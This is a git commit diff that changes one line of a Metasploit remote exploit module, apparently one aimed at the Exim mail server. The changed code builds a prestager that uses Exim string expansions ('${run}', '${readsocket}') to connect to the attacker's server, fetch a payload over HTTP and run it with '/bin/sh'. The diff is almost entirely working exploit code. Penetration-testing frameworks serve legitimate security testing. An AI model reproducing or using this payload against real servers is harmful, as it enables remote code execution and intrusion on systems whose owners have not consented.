Use extract instead of doubling /bin/echo

bug/bundler_fix
William Vu 2017-05-09 22:51:29 -05:00
parent 9a64ecc9b0
commit b5f25ab7ca
1 changed files with 1 additions and 1 deletions

View File

@ -100,7 +100,7 @@ class MetasploitModule < Msf::Exploit::Remote
# This is basically sh -c `wget` implemented using Exim string expansions
prestager << '/bin/sh -c ${extract{-1}{${run{/bin/echo}}}{${readsocket{' \
"inet:#{srvhost_addr}:#{srvport}}{get #{get_resource} "\
'http/1.0${run{/bin/echo}}${run{/bin/echo}}}}}}'
'http/1.0${extract{0}{${run{/bin/echo}}}{$value$value}}}}}}'
# CmdStager should rm the file, but it blocks on the payload, so we do it
prestager << "/bin/rm -f #{cmdstager_path}"
end